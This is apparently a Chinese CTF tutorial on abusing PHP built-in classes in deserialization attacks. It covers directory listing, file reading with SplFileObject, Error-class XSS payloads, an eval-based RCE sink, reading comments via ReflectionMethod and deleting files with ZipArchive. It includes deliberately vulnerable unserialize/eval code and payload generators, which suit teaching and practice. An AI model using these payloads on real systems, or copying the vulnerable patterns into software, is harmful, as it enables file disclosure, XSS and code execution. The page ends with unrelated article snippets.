PHP原生类

什么是php原生类

原生类就是php内置类,不用定义php自带的类,即不需要在当前脚本写出,但也可以实例化的类

我们可以通过脚本找一下php原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array('__destruct','__toString','__wakeup','__call','__callStatic','__get','__set','__isset','__unset','__invoke','__set_state'))) {print $class . '::' . $method . "\n";}}
}

几个ctf常用的php原生类 

遍历文件目录的类

DirectoryIterator 类

类介绍

 DirectoryIterator extends SplFileInfo implements SeekableIterator {
    /* 方法 */
    public __construct ( string $path )
    public current ( ) : DirectoryIterator
    public getATime ( ) : int
    public getBasename ( string $suffix = ? ) : string
    public getCTime ( ) : int
    public getExtension ( ) : string
    public getFilename ( ) : string
    public getGroup ( ) : int
    public getInode ( ) : int
    public getMTime ( ) : int
    public getOwner ( ) : int
    public getPath ( ) : string
    public getPathname ( ) : string
    public getPerms ( ) : int
    public getSize ( ) : int
    public getType ( ) : string
    public isDir ( ) : bool
    public isDot ( ) : bool
    public isExecutable ( ) : bool
    public isFile ( ) : bool
    public isLink ( ) : bool
    public isReadable ( ) : bool
    public isWritable ( ) : bool
    public key ( ) : string
    public next ( ) : void
    public rewind ( ) : void
    public seek ( int $position ) : void
    public __toString ( ) : string    // 以字符串形式获取文件名
    public valid ( ) : bool
}

可以看到这里有我门常见的__construct和__toString这里我们可以反序列化利用 

这里会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名

测试代码

<?php
$a = new DirectoryIterator("/");
echo $a;

echo以字符串的形式输入,会触发 __toString()以字符串的形式输入根目录的第一个文件名

 也可以结合glob协议进行多目录遍历

<?php
$a = new DirectoryIterator("glob://f*");
echo $a;

 如果想显示所有的文件可以用foreach函数来遍历,比如

<?php
$a = new DirectoryIterator("/");
foreach($a as $f){echo($f.'<br>');
}

 

 FilesystemIterator

 基本和DirectoryIterator一样

GlobIterato

名字可以看出这个类是自带glob协议的,所以不用再使用glob协议了例如

<?php
$a = new GlobIterator("/");
echo $a;

文件读取类 

SplFileObject

当用文件目录遍历到了敏感文件时,可以用SplFileObject类,同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行),而且这个方法只能读一行

test1

<?php
error_reporting(0);
highlight_file(__FILE__);class a{public $key;public $value;public function __wakeup(){echo new $this->key($this->value);}
}unserialize($_GET['a']);?>

这个反序列化没有任何可以直接利用的魔法函数,只有一个wakeup可以进入

echo new $this->key($this->value);

构造exp很简单,只需要让key值赋为我们想得的原生函数,value赋为路径,查就完了但是这个方法的局限性就是只能查一个路径上的第一个文件。

<?php
class xxh{public $key;public $value;public function __wakeup(){echo new $this->key($this->value);}
}$a = new xxh();
$a->key="SplFileObject";
$a->value="./";
echo serialize($a);
?>

PHP 原生Error&Exception类(XSS实现与hash绕过)

Error内置类

适用于php7

开启报错的情况下

 Error类是php 的一个内置类,用于自动自定义一个Error ,在php7的情况下可能会造成一个xss漏洞,因为他内置有一个 __toString()方法,在ctf反序列化中,如果flag在cookie中可以尝试利用Error去触发__toString()

<?php$a = unserialize($_GET['xxh']);
echo $a;
<?php
$a = new Error("<script>alert('1')</script>");
echo serialize($a);

 

 

 Excepthin 内置类 

适用于 php5,7

开启报错的情况下:

<?php$a = unserialize($_GET['xxh']);
echo $a;

 exp

<?php$a = new Error("<script>alert('1')</script>");
$b = serialize($a);
echo urlencode($b);

也可以成功弹窗

命令执行

如果有eval的话就可以rce

<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>

  这就不限于Error函数了、

其他类

ReflectionMethod类

他本身具有的方法

class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector {	
/*方法*/ReflectionMethod::__construct — ReflectionMethod 的构造函数ReflectionMethod::export — 输出一个回调方法ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口,译者注:可以使用这个返回值直接调用非公开方法。ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例ReflectionMethod::getModifiers — 获取方法的修饰符ReflectionMethod::getPrototype — 返回方法原型 (如果存在)ReflectionMethod::invoke — InvokeReflectionMethod::invokeArgs — 带参数执行ReflectionMethod::isAbstract — 判断方法是否是抽象方法ReflectionMethod::isConstructor — 判断方法是否是构造方法ReflectionMethod::isDestructor — 判断方法是否是析构方法ReflectionMethod::isFinal — 判断方法是否定义 finalReflectionMethod::isPrivate — 判断方法是否是私有方法ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)ReflectionMethod::isPublic — 判断方法是否是公开方法ReflectionMethod::isStatic — 判断方法是否是静态方法ReflectionMethod::setAccessible — 设置方法是否访问ReflectionMethod::__toString — 返回反射方法对象的字符串表达/*继承的方法*/final private ReflectionFunctionAbstract::__clone(): voidpublic ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): arraypublic ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClasspublic ReflectionFunctionAbstract::getClosureThis(): objectpublic ReflectionFunctionAbstract::getDocComment(): stringpublic ReflectionFunctionAbstract::getEndLine(): intpublic ReflectionFunctionAbstract::getExtension(): ReflectionExtensionpublic ReflectionFunctionAbstract::getExtensionName(): stringpublic ReflectionFunctionAbstract::getFileName(): stringpublic ReflectionFunctionAbstract::getName(): stringpublic ReflectionFunctionAbstract::getNamespaceName(): stringpublic ReflectionFunctionAbstract::getNumberOfParameters(): intpublic ReflectionFunctionAbstract::getNumberOfRequiredParameters(): intpublic ReflectionFunctionAbstract::getParameters(): arraypublic ReflectionFunctionAbstract::getReturnType(): ?ReflectionTypepublic ReflectionFunctionAbstract::getShortName(): stringpublic ReflectionFunctionAbstract::getStartLine(): intpublic ReflectionFunctionAbstract::getStaticVariables(): arraypublic ReflectionFunctionAbstract::hasReturnType(): boolpublic ReflectionFunctionAbstract::inNamespace(): boolpublic ReflectionFunctionAbstract::isClosure(): boolpublic ReflectionFunctionAbstract::isDeprecated(): boolpublic ReflectionFunctionAbstract::isGenerator(): boolpublic ReflectionFunctionAbstract::isInternal(): boolpublic ReflectionFunctionAbstract::isUserDefined(): boolpublic ReflectionFunctionAbstract::isVariadic(): boolpublic ReflectionFunctionAbstract::returnsReference(): boolabstract public ReflectionFunctionAbstract::__toString(): void

可以看到这里也有一个__toString函数,也可以触发反序列化漏洞 

ReflectionMethod 类中有很多继承方法可以使用,比如这个 getDocComment() 方法,我们可以用它来获取类中各个函数注释内容

<?php
show_source(__FILE__);
class a
//flag{123}public function a(){}
}
$a = $_GET['a'];
$b = $_GET['b'];
$c= $_GET['c'];
$d=new $a($b,$c);
echo($d->getDocComment());
?>

?a=ReflectionMethod&b=a&c=b

利用原生类ReflectionMethod中的getDocComment()函数类读取注释

ZipArchive类

可以通过本类执行一些文件操作,在CTF可以用来删除waf

open(打开一个压缩包文件)

$zip = new \ZipArchive;$zip->open('test_new.zip', \ZipArchive::CREATE)

常用方法 

ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/36470.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网页touch-action禁用手势

问题 在iphone的safari 下滑网页时&#xff0c;无法下滑 原因&#xff1a; 设置了touch-action: none html ,body {touch-action: none;}此行代码为禁用手势&#xff0c;但是在pc上Chrome浏览器模拟手机时&#xff0c;并不能生效(禁止手势)。 但是此行代码在iphone手机浏览器…

【Go 基础篇】Go语言字符类型:解析字符的本质与应用

介绍 字符类型是计算机编程中用于表示文本和字符的数据类型&#xff0c;是构建字符串的基本单位。在Go语言&#xff08;Golang&#xff09;中&#xff0c;字符类型具有独特的特点和表示方式&#xff0c;包括Unicode编码、字符字面值以及字符操作。本篇博客将深入探讨Go语言中的…

首次使用ninja的体验

首先总结说自己的理解&#xff0c;就是NINJA是一个和MAKE同一级别的编译工具&#xff0c;在CMAKE/GRADLE等工具之下工作 cmake目前可以生成makefile&#xff0c;也可以生成ninja文件(CMAKE选项中增加了-G Ninja&#xff09; 使用ninja all编译生成的ninja文件 1.工具准备&…

Element组件浅尝辄止5:Empty 空状态组件

Empty空状态组件&#xff1a;空状态时的占位提示。 如第一次进入当前功能模块时&#xff0c;数据状态为空&#xff0c;则展示空状态&#xff0c;可用到Empty组件 1.How? <el-empty description"描述文字"></el-empty> 2.自定义图片 通过设置 image 属…

plsql开发中动态sql的使用教程(不使用dbms_sql包)

一般的PL/SQL程序设计中&#xff0c;在DML和事务控制的语句中可以直接使用SQL&#xff0c;但是对于新建存储过程&#xff0c;其中涉及传参要被应用为列名时&#xff0c;不能在PL/SQL中直接使用&#xff0c;一会儿下面举例介绍&#xff0c;那么要想实现设计的功能&#xff0c;可…

PyTorch Lightning教程七:可视化

本节指导如何利用Lightning进行可视化和监控模型 为何需要跟踪参数 在模型开发中&#xff0c;我们跟踪感兴趣的值&#xff0c;例如validation_loss&#xff0c;以可视化模型的学习过程。模型开发就像驾驶一辆没有窗户的汽车&#xff0c;图表和日志提供了窗口&#xff0c;让我们…

Docker的基本概念及镜像加速器的配置

1.Docker的概念 由于代码运行环境不同&#xff0c;代码运行会出现水土不服的情况。运用docker容器会把环境进行打包&#xff0c;避免水土不服。docker是一种容器技术&#xff0c;它解决软件跨环境迁移的问题。 2&#xff0c;安装Docker 3.Docker架构 4.Docker镜像加速器的配…

我们常说这个pycharm里有陷阱,第三方库导入失败,看这里!

最近有小伙伴遇到了明明安装了 python 第三方库&#xff0c;但是在 pycharm 当中却导入不成功的问题。 ​ 一直以来&#xff0c;也有不少初学 python 的小伙伴&#xff0c;一不小心就跳进了虚拟环境和系统环境的【陷阱】中。 本文就基于此问题&#xff0c;来说说在 pycharm 当…

Spring Cloud 面试突击2

Spring Cloud 面试突击2 高并发&#xff1a;是一种系统运行过程中遇到的短时间大量的请求操作 响应时间&#xff1a; 吞吐量&#xff1a; QPS&#xff1a;数据库为维度 TPS 并发用户数 并发的维度&#xff1a;很多的 并发是不是达到的当前系统的瓶颈 缓存 &#xff08…

计算机网络—IP

这里写目录标题 IP的基本认识网络层与数据链路层有什么关系IP地址基础知识IP 地址的分类什么是A、B、C类地址广播地址用来做什么什么是D、E类广播多播地址用于什么IP分类的优点IP分类的缺点 无分类地址CIDR如何划分网络号和主机号怎么进性子网划分 公有 IP 地址与私有 IP 地址公…

【Spring源码】Java里面的jdk代理与Cglib动态代理

Springboot默认使用的是Cglib动态代理 案例一&#xff1a;TransactionAutoConfiguration配置类 org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration Configuration(proxyBeanMethods false)ConditionalOnBean(TransactionManager.class)Cond…

指针---进阶篇(二)

指针---进阶篇&#xff08;二&#xff09; 前言一、函数指针1.抛砖引玉2.如何判断函数指针&#xff1f;&#xff08;方法总结&#xff09; 二、函数指针数组1.什么是函数指针数组&#xff1f;2.讲解函数指针数组3.模拟计算器&#xff1a;讲解函数指针数组 三、指向函数指针数组…

Maven基础之仓库、命令、插件机制

文章目录 Maven 仓库中央仓库和本地仓库中央仓库本地仓库 Maven 命令generate 命令compile 命令clean 命令test 命令package 命令install 命令 Maven 插件机制官方插件&#xff1a;Compile 插件Tomcat 7 插件 Maven 仓库 中央仓库和本地仓库 [✎] 简单一点说 中央仓库是一个网…

Redis复制

在Redis中&#xff0c;用户可以通过执行SLAVEOF命令或者设置slaveof选项&#xff0c;让一个服务器去复制(replicate) 另一个服务器&#xff0c;我们称呼被复制的服务器为主服务器(master)&#xff0c;而对主服务器进行复制的服务器则被称为从服务器(slave)&#xff0c;如下图所…

Vue修饰符

事件修饰符 在Vue 2.0中&#xff0c;事件修饰符允许我们在处理事件时对其进行修改或增强。以下是一些常用的事件修饰符&#xff1a; .stop&#xff1a;阻止事件冒泡。使用此修饰符后&#xff0c;父元素的相同事件不会再触发。.prevent&#xff1a;阻止事件的默认行为。比如&…

mybatis 中的<![CDATA[ ]]>用法及说明

<![CDATA[ ]]>作用 <![CDATA[ ]]> 在mybatis、ibatis等书写SQL的xml中比较常见&#xff0c;是一种XML语法&#xff0c;他的作用是 可以忽略xml的转义&#xff08;在该标签中的语句和字符原本是什么样的&#xff0c;在拼接成SQL后还是什么样的&#xff09; 使用&a…

代码生成模型任务设计

背景&#xff1a; 模型应该具备&#xff0c;理解代码的能力、知道代码规则的能力、知道关键词和变量的能力、知道代码逻辑的能力、文本到代码翻译能力、代码关联能力、代码续写能力。 代码理解能力&#xff1a;pretrain让模型读足够多代码、记住代码一些规则、代码问答、基于…

PHP codeigniter4 搭配Nginx

> 主要是为了用Nginx运行PHP环境 1. Nginx 官方文档的配置 default.conf This configuration enables URLs without “index.php” in them and using CodeIgniter’s “404 - File Not Found” for URLs ending with “.php”. server {listen 80;listen [::]:80;se…

springboot 基础

巩固基础&#xff0c;砥砺前行 。 只有不断重复&#xff0c;才能做到超越自己。 能坚持把简单的事情做到极致&#xff0c;也是不容易的。 SpringBoot JavaEE 简介 JavaEE的局限性&#xff1a; 1、过于复杂&#xff0c;JavaEE正对的是复杂的分布式企业应用&#xff0c;然而现实…

MySQL表的基础的增删改查

增(insert into) 插入所有列的数据 不写具体列名要确保字段都对应正确 -- 假设你有一个名为 "employees" 的表&#xff0c;有多个列 INSERT INTO employees VALUES (101, Alice, Manager, 50000);插入指定列的数据 -- 假设你有一个名为 "students" 的表&…